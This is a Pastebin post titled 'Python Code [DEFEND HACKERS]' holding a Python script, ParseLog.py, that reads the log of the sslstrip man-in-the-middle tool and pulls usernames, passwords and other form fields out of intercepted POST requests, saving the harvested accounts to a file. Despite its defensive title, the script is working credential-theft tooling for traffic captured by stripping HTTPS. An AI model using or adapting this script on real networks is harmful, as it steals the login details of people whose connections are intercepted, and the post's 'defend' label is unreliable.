surensach

Python Code [DEFEND HACKERS]

May 24th, 2012
1,704
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.73 KB | None | 0 0
  1. Code:
  2.  
  3. #!/usr/bin/env python
  4.  
  5. #####################
  6. # ParseLog.py
  7. #
  8. #####################
  9.  
  10. """ This file parses the sslstrip.log created by
  11. sslstrip for usernames and passwords (and other
  12. interesting information) defined in the file
  13. resources/definitions.sslstrip. It will also
  14. give you a complete list of all unknown information,
  15. with the exception of anything listed in the file
  16. resources/blacklist.sslstrip.
  17. """
  18.  
  19. from urllib import unquote
  20.  
  21. getIP = lambda origin: origin[origin.find('(')+1:origin.find(')')]
  22.  
  23. blacklist = []
  24. accounts = []
  25. definitions = {}
  26.  
  27. def getDefs(defs):
  28. d = {}
  29. for definition in defs:
  30. tmp = definition.split('|')
  31. a = tmp.pop(0)
  32. b = tmp.pop()
  33. if('\n' in b):
  34. b = b[:-1]
  35. tmp.append(b)
  36. d[a] = tmp[:]
  37. return d
  38.  
  39. def getAllVars(line):
  40. while('&&' in line):
  41. line = line.replace('&&','&')
  42. vars = {}
  43. tmp = line.split('&')
  44. for var in tmp:
  45. try:
  46. (a,b) = var.split('=')
  47. if('$' in unquote(a)):
  48. a = unquote(a).split('$').pop()
  49. if('\n' in unquote(b)):
  50. b = unquote(b)[:-1]
  51. vars[unquote(a)] = unquote(b)
  52. except:
  53. pass
  54. return vars
  55.  
  56. def process(origin,line):
  57. origin = getIP(origin)
  58. if(origin not in blacklist):
  59. vars = getAllVars(line)
  60. if(origin in definitions):
  61. definition = definitions[origin][:]
  62. name = definition.pop(0)
  63. account = "(%s) " % name
  64. for variable in definition:
  65. try:
  66. v = vars[variable]
  67. except:
  68. v = 'UNDEFINED'
  69. account += "%s = %s :: " % (variable,v)
  70. if('UNDEFINED' not in account):
  71. if(account not in accounts):
  72. accounts.append(account)
  73. account += "**NEW**"
  74. print(account)
  75. else:
  76. print("Unknown:\t%s" % origin)
  77. for var in vars:
  78. if(vars[var] != ""):
  79. print("\t%s:\t%s" % (var,vars[var]))
  80. try:
  81. lines = open('sslstrip.log','r').readlines()
  82. except:
  83. lines = []
  84. try:
  85. blacklist = open('resources/blacklist.sslstrip','r').read().split('\n')
  86. except:
  87. print("--blacklist not defined--")
  88. try:
  89. accounts = open('accounts.txt','r').read().split('\n')
  90. except:
  91. pass
  92. try:
  93. definitions = getDefs(open('resources/definitions.sslstrip','r').readlines())
  94. except:
  95. pass
  96.  
  97. try:
  98. line = lines.pop(0)
  99. while(1):
  100. while('POST' not in line):
  101. try:
  102. line = lines.pop(0)
  103. except:
  104. break
  105. process(line,lines.pop(0))
  106. try:
  107. line = lines.pop(0)
  108. except:
  109. break
  110. except:
  111. print("Empty logfile.")
  112.  
  113. output = open('accounts.txt','w')
  114. accounts.sort()
  115. for account in accounts:
  116. if(account != ''):
  117. output.write(account + '\n')
Add Comment
Please, Sign In to add comment